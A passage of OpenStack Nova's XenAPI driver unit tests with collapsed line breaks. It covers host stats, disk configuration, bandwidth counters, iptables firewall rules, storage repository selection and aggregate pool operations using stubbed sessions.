for i in range(3): host.call_xenhost(mox.IgnoreArg(), 'host_data', {}).AndReturn(data) vm_utils.scan_default_sr(self.conn._session).AndReturn("ref") vm_utils.list_vms(self.conn._session).AndReturn([]) self.conn._session.call_xenapi('SR.get_record', "ref").AndReturn( sr_rec) if i == 2: # On the third call (the second below) change the hostname data = dict(data, host_hostname='bar') self.mox.ReplayAll() stats = self.conn.host_state.get_host_stats(refresh=True) self.assertEqual('foo', stats['hypervisor_hostname']) stats = self.conn.host_state.get_host_stats(refresh=True) self.assertEqual('foo', stats['hypervisor_hostname']) class ToSupportedInstancesTestCase(test.NoDBTestCase): def test_default_return_value(self): self.assertEqual([], host.to_supported_instances(None)) def test_return_value(self): self.assertEqual([(arch.X86_64, hv_type.XEN, 'xen')], host.to_supported_instances([u'xen-3.0-x86_64'])) def test_invalid_values_do_not_break(self): self.assertEqual([(arch.X86_64, hv_type.XEN, 'xen')], host.to_supported_instances([u'xen-3.0-x86_64', 'spam'])) def test_multiple_values(self): self.assertEqual( [ (arch.X86_64, hv_type.XEN, 'xen'), (arch.I686, hv_type.XEN, 'hvm') ], host.to_supported_instances([u'xen-3.0-x86_64', 'hvm-3.0-x86_32']) ) # FIXME(sirp): convert this to use XenAPITestBaseNoDB class XenAPIAutoDiskConfigTestCase(stubs.XenAPITestBase): def setUp(self): super(XenAPIAutoDiskConfigTestCase, self).setUp() self.flags(connection_url='test_url', connection_password='test_pass', group='xenserver') self.flags(firewall_driver='nova.virt.xenapi.firewall.' 'Dom0IptablesFirewallDriver') stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests) self.conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) self.user_id = 'fake' self.project_id = 'fake' self.instance_values = { 'project_id': self.project_id, 'user_id': self.user_id, 'image_ref': IMAGE_MACHINE, 'kernel_id': IMAGE_KERNEL, 'ramdisk_id': IMAGE_RAMDISK, 'root_gb': 80, 'ephemeral_gb': 0, 'instance_type_id': '3', # m1.large 'os_type': 'linux', 'architecture': 'x86-64'} self.context = context.RequestContext(self.user_id, self.project_id) def fake_create_vbd(session, vm_ref, vdi_ref, userdevice, vbd_type='disk', read_only=False, bootable=True, osvol=False): pass self.stubs.Set(vm_utils, 'create_vbd', fake_create_vbd) def assertIsPartitionCalled(self, called): marker = {"partition_called": False} def fake_resize_part_and_fs(dev, start, old_sectors, new_sectors, flags): marker["partition_called"] = True self.stubs.Set(vm_utils, "_resize_part_and_fs", fake_resize_part_and_fs) context.RequestContext(self.user_id, self.project_id) session = get_session() disk_image_type = vm_utils.ImageType.DISK_VHD instance = create_instance_with_system_metadata(self.context, self.instance_values) vm_ref = xenapi_fake.create_vm(instance['name'], 'Halted') vdi_ref = xenapi_fake.create_vdi(instance['name'], 'fake') vdi_uuid = session.call_xenapi('VDI.get_record', vdi_ref)['uuid'] vdis = {'root': {'uuid': vdi_uuid, 'ref': vdi_ref}} image_meta = objects.ImageMeta.from_dict( {'id': uuids.image_id, 'disk_format': 'vhd', 'properties': {'vm_mode': 'xen'}}) self.mox.ReplayAll() self.conn._vmops._attach_disks(self.context, instance, image_meta, vm_ref, instance['name'], vdis, disk_image_type, "fake_nw_inf") self.assertEqual(marker["partition_called"], called) def test_instance_not_auto_disk_config(self): """Should not partition unless instance is marked as auto_disk_config. """ self.instance_values['auto_disk_config'] = False self.assertIsPartitionCalled(False) @stub_vm_utils_with_vdi_attached def test_instance_auto_disk_config_fails_safe_two_partitions(self): # Should not partition unless fail safes pass. self.instance_values['auto_disk_config'] = True def fake_get_partitions(dev): return [(1, 0, 100, 'ext4', "", ""), (2, 100, 200, 'ext4' "", "")] self.stubs.Set(vm_utils, "_get_partitions", fake_get_partitions) self.assertIsPartitionCalled(False) @stub_vm_utils_with_vdi_attached def test_instance_auto_disk_config_fails_safe_badly_numbered(self): # Should not partition unless fail safes pass. self.instance_values['auto_disk_config'] = True def fake_get_partitions(dev): return [(2, 100, 200, 'ext4', "", "")] self.stubs.Set(vm_utils, "_get_partitions", fake_get_partitions) self.assertIsPartitionCalled(False) @stub_vm_utils_with_vdi_attached def test_instance_auto_disk_config_fails_safe_bad_fstype(self): # Should not partition unless fail safes pass. self.instance_values['auto_disk_config'] = True def fake_get_partitions(dev): return [(1, 100, 200, 'asdf', "", "")] self.stubs.Set(vm_utils, "_get_partitions", fake_get_partitions) self.assertIsPartitionCalled(False) @stub_vm_utils_with_vdi_attached def test_instance_auto_disk_config_passes_fail_safes(self): """Should partition if instance is marked as auto_disk_config=True and virt-layer specific fail-safe checks pass. """ self.instance_values['auto_disk_config'] = True def fake_get_partitions(dev): return [(1, 0, 100, 'ext4', "", "boot")] self.stubs.Set(vm_utils, "_get_partitions", fake_get_partitions) self.assertIsPartitionCalled(True) # FIXME(sirp): convert this to use XenAPITestBaseNoDB class XenAPIGenerateLocal(stubs.XenAPITestBase): """Test generating of local disks, like swap and ephemeral.""" def setUp(self): super(XenAPIGenerateLocal, self).setUp() self.flags(connection_url='test_url', connection_password='test_pass', group='xenserver') self.flags(firewall_driver='nova.virt.xenapi.firewall.' 'Dom0IptablesFirewallDriver') stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests) db_fakes.stub_out_db_instance_api(self) self.conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) self.user_id = 'fake' self.project_id = 'fake' self.instance_values = { 'project_id': self.project_id, 'user_id': self.user_id, 'image_ref': IMAGE_MACHINE, 'kernel_id': IMAGE_KERNEL, 'ramdisk_id': IMAGE_RAMDISK, 'root_gb': 80, 'ephemeral_gb': 0, 'instance_type_id': '3', # m1.large 'os_type': 'linux', 'architecture': 'x86-64'} self.context = context.RequestContext(self.user_id, self.project_id) def fake_create_vbd(session, vm_ref, vdi_ref, userdevice, vbd_type='disk', read_only=False, bootable=True, osvol=False, empty=False, unpluggable=True): return session.call_xenapi('VBD.create', {'VM': vm_ref, 'VDI': vdi_ref}) self.stubs.Set(vm_utils, 'create_vbd', fake_create_vbd) def assertCalled(self, instance, disk_image_type=vm_utils.ImageType.DISK_VHD): context.RequestContext(self.user_id, self.project_id) session = get_session() vm_ref = xenapi_fake.create_vm(instance['name'], 'Halted') vdi_ref = xenapi_fake.create_vdi(instance['name'], 'fake') vdi_uuid = session.call_xenapi('VDI.get_record', vdi_ref)['uuid'] vdi_key = 'root' if disk_image_type == vm_utils.ImageType.DISK_ISO: vdi_key = 'iso' vdis = {vdi_key: {'uuid': vdi_uuid, 'ref': vdi_ref}} self.called = False image_meta = objects.ImageMeta.from_dict( {'id': uuids.image_id, 'disk_format': 'vhd', 'properties': {'vm_mode': 'xen'}}) self.conn._vmops._attach_disks(self.context, instance, image_meta, vm_ref, instance['name'], vdis, disk_image_type, "fake_nw_inf") self.assertTrue(self.called) def test_generate_swap(self): # Test swap disk generation. instance_values = dict(self.instance_values, instance_type_id=5) instance = create_instance_with_system_metadata(self.context, instance_values) def fake_generate_swap(*args, **kwargs): self.called = True self.stubs.Set(vm_utils, 'generate_swap', fake_generate_swap) self.assertCalled(instance) def test_generate_ephemeral(self): # Test ephemeral disk generation. instance_values = dict(self.instance_values, instance_type_id=4) instance = create_instance_with_system_metadata(self.context, instance_values) def fake_generate_ephemeral(*args): self.called = True self.stubs.Set(vm_utils, 'generate_ephemeral', fake_generate_ephemeral) self.assertCalled(instance) def test_generate_iso_blank_root_disk(self): instance_values = dict(self.instance_values, instance_type_id=4) instance_values.pop('kernel_id') instance_values.pop('ramdisk_id') instance = create_instance_with_system_metadata(self.context, instance_values) def fake_generate_ephemeral(*args): pass self.stubs.Set(vm_utils, 'generate_ephemeral', fake_generate_ephemeral) def fake_generate_iso(*args): self.called = True self.stubs.Set(vm_utils, 'generate_iso_blank_root_disk', fake_generate_iso) self.assertCalled(instance, vm_utils.ImageType.DISK_ISO) class XenAPIBWCountersTestCase(stubs.XenAPITestBaseNoDB): FAKE_VMS = {'test1:ref': dict(name_label='test1', other_config=dict(nova_uuid='hash'), domid='12', _vifmap={'0': "a:b:c:d...", '1': "e:f:12:q..."}), 'test2:ref': dict(name_label='test2', other_config=dict(nova_uuid='hash'), domid='42', _vifmap={'0': "a:3:c:d...", '1': "e:f:42:q..."}), } def setUp(self): super(XenAPIBWCountersTestCase, self).setUp() self.stubs.Set(vm_utils, 'list_vms', XenAPIBWCountersTestCase._fake_list_vms) self.flags(connection_url='test_url', connection_password='test_pass', group='xenserver') self.flags(firewall_driver='nova.virt.xenapi.firewall.' 'Dom0IptablesFirewallDriver') stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests) self.conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) def _fake_get_vif_device_map(vm_rec): return vm_rec['_vifmap'] self.stubs.Set(self.conn._vmops, "_get_vif_device_map", _fake_get_vif_device_map) @classmethod def _fake_list_vms(cls, session): return six.iteritems(cls.FAKE_VMS) @staticmethod def _fake_fetch_bandwidth_mt(session): return {} @staticmethod def _fake_fetch_bandwidth(session): return {'42': {'0': {'bw_in': 21024, 'bw_out': 22048}, '1': {'bw_in': 231337, 'bw_out': 221212121}}, '12': {'0': {'bw_in': 1024, 'bw_out': 2048}, '1': {'bw_in': 31337, 'bw_out': 21212121}}, } def test_get_all_bw_counters(self): instances = [dict(name='test1', uuid='1-2-3'), dict(name='test2', uuid='4-5-6')] self.stubs.Set(vm_utils, 'fetch_bandwidth', self._fake_fetch_bandwidth) result = self.conn.get_all_bw_counters(instances) self.assertEqual(len(result), 4) self.assertIn(dict(uuid='1-2-3', mac_address="a:b:c:d...", bw_in=1024, bw_out=2048), result) self.assertIn(dict(uuid='1-2-3', mac_address="e:f:12:q...", bw_in=31337, bw_out=21212121), result) self.assertIn(dict(uuid='4-5-6', mac_address="a:3:c:d...", bw_in=21024, bw_out=22048), result) self.assertIn(dict(uuid='4-5-6', mac_address="e:f:42:q...", bw_in=231337, bw_out=221212121), result) def test_get_all_bw_counters_in_failure_case(self): """Test that get_all_bw_conters returns an empty list when no data returned from Xenserver. c.f. bug #910045. """ instances = [dict(name='instance-0001', uuid='1-2-3-4-5')] self.stubs.Set(vm_utils, 'fetch_bandwidth', self._fake_fetch_bandwidth_mt) result = self.conn.get_all_bw_counters(instances) self.assertEqual(result, []) # TODO(salvatore-orlando): this class and # nova.tests.unit.virt.test_libvirt.IPTablesFirewallDriverTestCase # share a lot of code. Consider abstracting common code in a base # class for firewall driver testing. # # FIXME(sirp): convert this to use XenAPITestBaseNoDB class XenAPIDom0IptablesFirewallTestCase(stubs.XenAPITestBase): REQUIRES_LOCKING = True _in_rules = [ '# Generated by iptables-save v1.4.10 on Sat Feb 19 00:03:19 2011', '*nat', ':PREROUTING ACCEPT [1170:189210]', ':INPUT ACCEPT [844:71028]', ':OUTPUT ACCEPT [5149:405186]', ':POSTROUTING ACCEPT [5063:386098]', '# Completed on Mon Dec 6 11:54:13 2010', '# Generated by iptables-save v1.4.4 on Mon Dec 6 11:54:13 2010', '*mangle', ':INPUT ACCEPT [969615:281627771]', ':FORWARD ACCEPT [0:0]', ':OUTPUT ACCEPT [915599:63811649]', ':nova-block-ipv4 - [0:0]', '[0:0] -A INPUT -i virbr0 -p tcp -m tcp --dport 67 -j ACCEPT ', '[0:0] -A FORWARD -d 192.168.122.0/24 -o virbr0 -m state --state RELATED' ',ESTABLISHED -j ACCEPT ', '[0:0] -A FORWARD -s 192.168.122.0/24 -i virbr0 -j ACCEPT ', '[0:0] -A FORWARD -i virbr0 -o virbr0 -j ACCEPT ', '[0:0] -A FORWARD -o virbr0 -j REJECT ' '--reject-with icmp-port-unreachable ', '[0:0] -A FORWARD -i virbr0 -j REJECT ' '--reject-with icmp-port-unreachable ', 'COMMIT', '# Completed on Mon Dec 6 11:54:13 2010', '# Generated by iptables-save v1.4.4 on Mon Dec 6 11:54:13 2010', '*filter', ':INPUT ACCEPT [969615:281627771]', ':FORWARD ACCEPT [0:0]', ':OUTPUT ACCEPT [915599:63811649]', ':nova-block-ipv4 - [0:0]', '[0:0] -A INPUT -i virbr0 -p tcp -m tcp --dport 67 -j ACCEPT ', '[0:0] -A FORWARD -d 192.168.122.0/24 -o virbr0 -m state --state RELATED' ',ESTABLISHED -j ACCEPT ', '[0:0] -A FORWARD -s 192.168.122.0/24 -i virbr0 -j ACCEPT ', '[0:0] -A FORWARD -i virbr0 -o virbr0 -j ACCEPT ', '[0:0] -A FORWARD -o virbr0 -j REJECT ' '--reject-with icmp-port-unreachable ', '[0:0] -A FORWARD -i virbr0 -j REJECT ' '--reject-with icmp-port-unreachable ', 'COMMIT', '# Completed on Mon Dec 6 11:54:13 2010', ] _in6_filter_rules = [ '# Generated by ip6tables-save v1.4.4 on Tue Jan 18 23:47:56 2011', '*filter', ':INPUT ACCEPT [349155:75810423]', ':FORWARD ACCEPT [0:0]', ':OUTPUT ACCEPT [349256:75777230]', 'COMMIT', '# Completed on Tue Jan 18 23:47:56 2011', ] def setUp(self): super(XenAPIDom0IptablesFirewallTestCase, self).setUp() self.flags(connection_url='test_url', connection_password='test_pass', group='xenserver') self.flags(instance_name_template='%d', firewall_driver='nova.virt.xenapi.firewall.' 'Dom0IptablesFirewallDriver') self.user_id = 'mappin' self.project_id = 'fake' stubs.stubout_session(self.stubs, stubs.FakeSessionForFirewallTests, test_case=self) self.context = context.RequestContext(self.user_id, self.project_id) self.network = importutils.import_object(CONF.network_manager) self.conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) self.fw = self.conn._vmops.firewall_driver def _create_instance_ref(self): return db.instance_create(self.context, {'user_id': self.user_id, 'project_id': self.project_id, 'instance_type_id': 1}) def _create_test_security_group(self): admin_ctxt = context.get_admin_context() secgroup = db.security_group_create(admin_ctxt, {'user_id': self.user_id, 'project_id': self.project_id, 'name': 'testgroup', 'description': 'test group'}) db.security_group_rule_create(admin_ctxt, {'parent_group_id': secgroup['id'], 'protocol': 'icmp', 'from_port': -1, 'to_port': -1, 'cidr': '192.168.11.0/24'}) db.security_group_rule_create(admin_ctxt, {'parent_group_id': secgroup['id'], 'protocol': 'icmp', 'from_port': 8, 'to_port': -1, 'cidr': '192.168.11.0/24'}) db.security_group_rule_create(admin_ctxt, {'parent_group_id': secgroup['id'], 'protocol': 'tcp', 'from_port': 80, 'to_port': 81, 'cidr': '192.168.10.0/24'}) return secgroup def _validate_security_group(self): in_rules = [l for l in self._in_rules if not l.startswith('#')] for rule in in_rules: if 'nova' not in rule: self.assertIn(rule, self._out_rules, 'Rule went missing: %s' % rule) instance_chain = None for rule in self._out_rules: # This is pretty crude, but it'll do for now # last two octets change if re.search('-d 192.168.[0-9]{1,3}.[0-9]{1,3} -j', rule): instance_chain = rule.split(' ')[-1] break self.assertTrue(instance_chain, "The instance chain wasn't added") security_group_chain = None for rule in self._out_rules: # This is pretty crude, but it'll do for now if '-A %s -j' % instance_chain in rule: security_group_chain = rule.split(' ')[-1] break self.assertTrue(security_group_chain, "The security group chain wasn't added") regex = re.compile('\[0\:0\] -A .* -j ACCEPT -p icmp' ' -s 192.168.11.0/24') self.assertGreater(len(filter(regex.match, self._out_rules)), 0, "ICMP acceptance rule wasn't added") regex = re.compile('\[0\:0\] -A .* -j ACCEPT -p icmp -m icmp' ' --icmp-type 8 -s 192.168.11.0/24') self.assertGreater(len(filter(regex.match, self._out_rules)), 0, "ICMP Echo Request acceptance rule wasn't added") regex = re.compile('\[0\:0\] -A .* -j ACCEPT -p tcp --dport 80:81' ' -s 192.168.10.0/24') self.assertGreater(len(filter(regex.match, self._out_rules)), 0, "TCP port 80/81 acceptance rule wasn't added") def test_static_filters(self): instance_ref = self._create_instance_ref() src_instance_ref = self._create_instance_ref() admin_ctxt = context.get_admin_context() secgroup = self._create_test_security_group() src_secgroup = db.security_group_create(admin_ctxt, {'user_id': self.user_id, 'project_id': self.project_id, 'name': 'testsourcegroup', 'description': 'src group'}) db.security_group_rule_create(admin_ctxt, {'parent_group_id': secgroup['id'], 'protocol': 'tcp', 'from_port': 80, 'to_port': 81, 'group_id': src_secgroup['id']}) db.instance_add_security_group(admin_ctxt, instance_ref['uuid'], secgroup['id']) db.instance_add_security_group(admin_ctxt, src_instance_ref['uuid'], src_secgroup['id']) instance_ref = db.instance_get(admin_ctxt, instance_ref['id']) src_instance_ref = db.instance_get(admin_ctxt, src_instance_ref['id']) network_model = fake_network.fake_get_instance_nw_info(self, 1) from nova.compute import utils as compute_utils # noqa self.stubs.Set(compute_utils, 'get_nw_info_for_instance', lambda instance: network_model) self.fw.prepare_instance_filter(instance_ref, network_model) self.fw.apply_instance_filter(instance_ref, network_model) self._validate_security_group() # Extra test for TCP acceptance rules for ip in network_model.fixed_ips(): if ip['version'] != 4: continue regex = re.compile('\[0\:0\] -A .* -j ACCEPT -p tcp' ' --dport 80:81 -s %s' % ip['address']) self.assertGreater(len(filter(regex.match, self._out_rules)), 0, "TCP port 80/81 acceptance rule wasn't added") db.instance_destroy(admin_ctxt, instance_ref['uuid']) def test_filters_for_instance_with_ip_v6(self): self.flags(use_ipv6=True) network_info = fake_network.fake_get_instance_nw_info(self, 1) rulesv4, rulesv6 = self.fw._filters_for_instance("fake", network_info) self.assertEqual(len(rulesv4), 2) self.assertEqual(len(rulesv6), 1) def test_filters_for_instance_without_ip_v6(self): self.flags(use_ipv6=False) network_info = fake_network.fake_get_instance_nw_info(self, 1) rulesv4, rulesv6 = self.fw._filters_for_instance("fake", network_info) self.assertEqual(len(rulesv4), 2) self.assertEqual(len(rulesv6), 0) def test_multinic_iptables(self): ipv4_rules_per_addr = 1 ipv4_addr_per_network = 2 ipv6_rules_per_addr = 1 ipv6_addr_per_network = 1 networks_count = 5 instance_ref = self._create_instance_ref() _get_instance_nw_info = fake_network.fake_get_instance_nw_info network_info = _get_instance_nw_info(self, networks_count, ipv4_addr_per_network) network_info[0]['network']['subnets'][0]['meta']['dhcp_server'] = \ '1.1.1.1' ipv4_len = len(self.fw.iptables.ipv4['filter'].rules) ipv6_len = len(self.fw.iptables.ipv6['filter'].rules) inst_ipv4, inst_ipv6 = self.fw.instance_rules(instance_ref, network_info) self.fw.prepare_instance_filter(instance_ref, network_info) ipv4 = self.fw.iptables.ipv4['filter'].rules ipv6 = self.fw.iptables.ipv6['filter'].rules ipv4_network_rules = len(ipv4) - len(inst_ipv4) - ipv4_len ipv6_network_rules = len(ipv6) - len(inst_ipv6) - ipv6_len # Extra rules are for the DHCP request rules = (ipv4_rules_per_addr * ipv4_addr_per_network * networks_count) + 2 self.assertEqual(ipv4_network_rules, rules) self.assertEqual(ipv6_network_rules, ipv6_rules_per_addr * ipv6_addr_per_network * networks_count) def test_do_refresh_security_group_rules(self): admin_ctxt = context.get_admin_context() instance_ref = self._create_instance_ref() network_info = fake_network.fake_get_instance_nw_info(self, 1, 1) secgroup = self._create_test_security_group() db.instance_add_security_group(admin_ctxt, instance_ref['uuid'], secgroup['id']) self.fw.prepare_instance_filter(instance_ref, network_info) self.fw.instance_info[instance_ref['id']] = (instance_ref, network_info) self._validate_security_group() # add a rule to the security group db.security_group_rule_create(admin_ctxt, {'parent_group_id': secgroup['id'], 'protocol': 'udp', 'from_port': 200, 'to_port': 299, 'cidr': '192.168.99.0/24'}) # validate the extra rule self.fw.refresh_security_group_rules(secgroup) regex = re.compile('\[0\:0\] -A .* -j ACCEPT -p udp --dport 200:299' ' -s 192.168.99.0/24') self.assertGreater(len(filter(regex.match, self._out_rules)), 0, "Rules were not updated properly. " "The rule for UDP acceptance is missing") class XenAPISRSelectionTestCase(stubs.XenAPITestBaseNoDB): """Unit tests for testing we find the right SR.""" def test_safe_find_sr_raise_exception(self): # Ensure StorageRepositoryNotFound is raise when wrong filter. self.flags(sr_matching_filter='yadayadayada', group='xenserver') stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests) session = get_session() self.assertRaises(exception.StorageRepositoryNotFound, vm_utils.safe_find_sr, session) def test_safe_find_sr_local_storage(self): # Ensure the default local-storage is found. self.flags(sr_matching_filter='other-config:i18n-key=local-storage', group='xenserver') stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests) session = get_session() # This test is only guaranteed if there is one host in the pool self.assertEqual(len(xenapi_fake.get_all('host')), 1) host_ref = xenapi_fake.get_all('host')[0] pbd_refs = xenapi_fake.get_all('PBD') for pbd_ref in pbd_refs: pbd_rec = xenapi_fake.get_record('PBD', pbd_ref) if pbd_rec['host'] != host_ref: continue sr_rec = xenapi_fake.get_record('SR', pbd_rec['SR']) if sr_rec['other_config']['i18n-key'] == 'local-storage': local_sr = pbd_rec['SR'] expected = vm_utils.safe_find_sr(session) self.assertEqual(local_sr, expected) def test_safe_find_sr_by_other_criteria(self): # Ensure the SR is found when using a different filter. self.flags(sr_matching_filter='other-config:my_fake_sr=true', group='xenserver') stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests) session = get_session() host_ref = xenapi_fake.get_all('host')[0] local_sr = xenapi_fake.create_sr(name_label='Fake Storage', type='lvm', other_config={'my_fake_sr': 'true'}, host_ref=host_ref) expected = vm_utils.safe_find_sr(session) self.assertEqual(local_sr, expected) def test_safe_find_sr_default(self): # Ensure the default SR is found regardless of other-config. self.flags(sr_matching_filter='default-sr:true', group='xenserver') stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests) session = get_session() pool_ref = session.call_xenapi('pool.get_all')[0] expected = vm_utils.safe_find_sr(session) self.assertEqual(session.call_xenapi('pool.get_default_SR', pool_ref), expected) def _create_service_entries(context, values={'avail_zone1': ['fake_host1', 'fake_host2'], 'avail_zone2': ['fake_host3'], }): for avail_zone, hosts in six.iteritems(values): for service_host in hosts: db.service_create(context, {'host': service_host, 'binary': 'nova-compute', 'topic': 'compute', 'report_count': 0}) return values # FIXME(sirp): convert this to use XenAPITestBaseNoDB class XenAPIAggregateTestCase(stubs.XenAPITestBase): """Unit tests for aggregate operations.""" def setUp(self): super(XenAPIAggregateTestCase, self).setUp() self.flags(connection_url='http://test_url', connection_username='test_user', connection_password='test_pass', group='xenserver') self.flags(instance_name_template='%d', firewall_driver='nova.virt.xenapi.firewall.' 'Dom0IptablesFirewallDriver', host='host', compute_driver='xenapi.XenAPIDriver', default_availability_zone='avail_zone1') self.flags(use_local=True, group='conductor') host_ref = xenapi_fake.get_all('host')[0] stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests) self.context = context.get_admin_context() self.conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) self.compute = importutils.import_object(CONF.compute_manager) self.api = compute_api.AggregateAPI() values = {'name': 'test_aggr', 'metadata': {'availability_zone': 'test_zone', pool_states.POOL_FLAG: 'XenAPI'}} self.aggr = objects.Aggregate(context=self.context, id=1, **values) self.fake_metadata = {pool_states.POOL_FLAG: 'XenAPI', 'master_compute': 'host', 'availability_zone': 'fake_zone', pool_states.KEY: pool_states.ACTIVE, 'host': xenapi_fake.get_record('host', host_ref)['uuid']} def test_pool_add_to_aggregate_called_by_driver(self): calls = [] def pool_add_to_aggregate(context, aggregate, host, slave_info=None): self.assertEqual("CONTEXT", context) self.assertEqual("AGGREGATE", aggregate) self.assertEqual("HOST", host) self.assertEqual("SLAVEINFO", slave_info) calls.append(pool_add_to_aggregate) self.stubs.Set(self.conn._pool, "add_to_aggregate", pool_add_to_aggregate) self.conn.add_to_aggregate("CONTEXT", "AGGREGATE", "HOST", slave_info="SLAVEINFO") self.assertIn(pool_add_to_aggregate, calls) def test_pool_remove_from_aggregate_called_by_driver(self): calls = [] def pool_remove_from_aggregate(context, aggregate, host, slave_info=None): self.assertEqual("CONTEXT", context) self.assertEqual("AGGREGATE", aggregate) self.assertEqual("HOST", host) self.assertEqual("SLAVEINFO", slave_info) calls.append(pool_remove_from_aggregate) self.stubs.Set(self.conn._pool, "remove_from_aggregate", pool_remove_from_aggregate) self.conn.remove_from_aggregate("CONTEXT", "AGGREGATE", "HOST", slave_info="SLAVEINFO") self.assertIn(pool_remove_from_aggregate, calls) def test_add_to_aggregate_for_first_host_sets_metadata(self): def fake_init_pool(id, name): fake_init_pool.called = True self.stubs.Set(self.conn._pool, "_init_pool", fake_init_pool) aggregate = self._aggregate_setup() self.conn._pool.add_to_aggregate(self.context, aggregate, "host") result = objects.Aggregate.get_by_id(self.context, aggregate.id) self.assertTrue(fake_init_pool.called) self.assertThat(self.fake_metadata, matchers.DictMatches(result.metadata)) def test_join_slave(self): # Ensure join_slave gets called when the request gets to master. def fake_join_slave(id, compute_uuid, host, url, user, password): fake_join_slave.called = True self.stubs.Set(self.conn._pool, "_join_slave", fake_join_slave) aggregate = self._aggregate_setup(hosts=['host', 'host2'], metadata=self.fake_metadata) self.conn._pool.add_to_aggregate(self.context, aggregate, "host2", dict(compute_uuid='fake_uuid', url='fake_url', user='fake_user', passwd='fake_pass', xenhost_uuid='fake_uuid')) self.assertTrue(fake_join_slave.called) def test_add_to_aggregate_first_host(self): def fake_pool_set_name_label(self, session, pool_ref, name): fake_pool_set_name_label.called = True self.stubs.Set(xenapi_fake.SessionBase, "pool_set_name_label", fake_pool_set_name_label) self.conn._session.call_xenapi("pool.create", {"name": "asdf"}) metadata = {'availability_zone': 'fake_zone', pool_states.POOL_FLAG: "XenAPI", pool_states.KEY: pool_states.CREATED} aggregate = objects.Aggregate(context=self.context) aggregate.name = 'fake_aggregate' aggregate.metadata = dict(metadata) aggregate.create() aggregate.add_host('host') self.assertEqual(["host"], aggregate.hosts) self.assertEqual(metadata, aggregate.metadata) self.conn._pool.add_to_aggregate(self.context, aggregate, "host") self.assertTrue(fake_pool_set_name_label.called) def test_remove_from_aggregate_called(self): def fake_remove_from_aggregate(context, aggregate, host): fake_remove_from_aggregate.called = True self.stubs.Set(self.conn._pool, "remove_from_aggregate", fake_remove_from_aggregate) self.conn.remove_from_aggregate(None, None, None) self.assertTrue(fake_remove_from_aggregate.called) def test_remove_from_empty_aggregate(self): result = self._aggregate_setup() self.assertRaises(exception.InvalidAggregateActionDelete, self.conn._pool.remove_from_aggregate, self.context, result, "test_host") def test_remove_slave(self): # Ensure eject slave gets called. def fake_eject_slave(id, compute_uuid, host_uuid): fake_eject_slave.called = True self.stubs.Set(self.conn._pool, "_eject_slave", fake_eject_slave) self.fake_metadata['host2'] = 'fake_host2_uuid' aggregate = self._aggregate_setup(hosts=['host', 'host2'], metadata=self.fake_metadata, aggr_state=pool_states.ACTIVE) self.conn._pool.remove_from_aggregate(self.context, aggregate, "host2") self.assertTrue(fake_eject_slave.called) def test_remove_master_solo(self): # Ensure metadata are cleared after removal. def fake_clear_pool(id): fake_clear_pool.called = True self.stubs.Set(self.conn._pool, "_clear_pool", fake_clear_pool) aggregate = self._aggregate_setup(metadata=self.fake_metadata) self.conn._pool.remove_from_aggregate(self.context, aggregate, "host") result = objects.Aggregate.get_by_id(self.context, aggregate.id) self.assertTrue(fake_clear_pool.called) self.assertThat({'availability_zone': 'fake_zone', pool_states.POOL_FLAG: 'XenAPI', pool_states.KEY: pool_states.ACTIVE}, matchers.DictMatches(result.metadata)) def test_remote_master_non_empty_pool(self): # Ensure AggregateError is raised if removing the master. aggregate = self._aggregate_setup(hosts=['host', 'host2'], metadata=self.fake_metadata) self.assertRaises(exception.InvalidAggregateActionDelete, self.conn._pool.remove_from_aggregate, self.context, aggregate, "host") def _aggregate_setup(self, aggr_name='fake_aggregate', aggr_zone='fake_zone', aggr_state=pool_states.CREATED, hosts=['host'], metadata=None): aggregate = objects.Aggregate(context=self.context) aggregate.name = aggr_name aggregate.metadata = {'availability_zone': aggr_zone, pool_states.POOL_FLAG: 'XenAPI', pool_states.KEY: aggr_state, } if metadata: aggregate.metadata.update(metadata) aggregate.create() for aggregate_host in hosts: aggregate.add_host(aggregate_host) return aggregate def test_add_host_to_aggregate_invalid_changing_status(self): """Ensure InvalidAggregateActionAdd is raised when adding host while aggregate is not ready. """ aggregate = self._aggregate_setup(aggr_state=pool_states.CHANGING) ex = self.assertRaises(exception.InvalidAggregateActionAdd, self.conn.add_to_aggregate, self.context, aggregate, 'host') self.assertIn('setup in progress', str(ex)) def test_add_host_to_aggregate_invalid_dismissed_status(self): """Ensure InvalidAggregateActionAdd is raised when aggregate is deleted. """ aggregate = self._aggregate_setup(aggr_state=pool_states.DISMISSED) ex = self.assertRaises(exception.InvalidAggregateActionAdd, self.conn.add_to_aggregate, self.context, aggregate, 'fake_host') self.assertIn('aggregate deleted', str(ex)) def test_add_host_to_aggregate_invalid_error_status(self): """Ensure InvalidAggregateActionAdd is raised when aggregate is in error. """ aggregate = self._aggregate_setup(aggr_state=pool_states.ERROR) ex = self.assertRaises(exception.InvalidAggregateActionAdd, self.conn.add_to_aggregate, self.context, aggregate, 'fake_host') self.assertIn('aggregate in error', str(ex)) def test_remove_host_from_aggregate_error(self): # Ensure we can remove a host from an aggregate even if in error. values = _create_service_entries(self.context) fake_zone = list(values.keys())[0] aggr = self.api.create_aggregate(self.context, 'fake_aggregate', fake_zone) # let's mock the fact that the aggregate is ready! metadata = {pool_states.POOL_FLAG: "XenAPI", pool_states.KEY: pool_states.ACTIVE} self.api.update_aggregate_metadata(self.context, aggr.id, metadata) for aggregate_host in values[fake_zone]: aggr = self.api.add_host_to_aggregate(self.context, aggr.id, aggregate_host) # let's mock the fact that the aggregate is in error! expected = self.api.remove_host_from_aggregate(self.context, aggr.id, values[fake_zone][0]) self.assertEqual(len(aggr.hosts) - 1, len(expected.hosts)) self.assertEqual(expected.metadata[pool_states.KEY], pool_states.ACTIVE) def test_remove_host_from_aggregate_invalid_dismissed_status(self): """Ensure InvalidAggregateActionDelete is raised when aggregate is deleted. """ aggregate = self._aggregate_setup(aggr_state=pool_states.DISMISSED) self.assertRaises(exception.InvalidAggregateActionDelete, self.conn.remove_from_aggregate, self.context, aggregate, 'fake_host') def 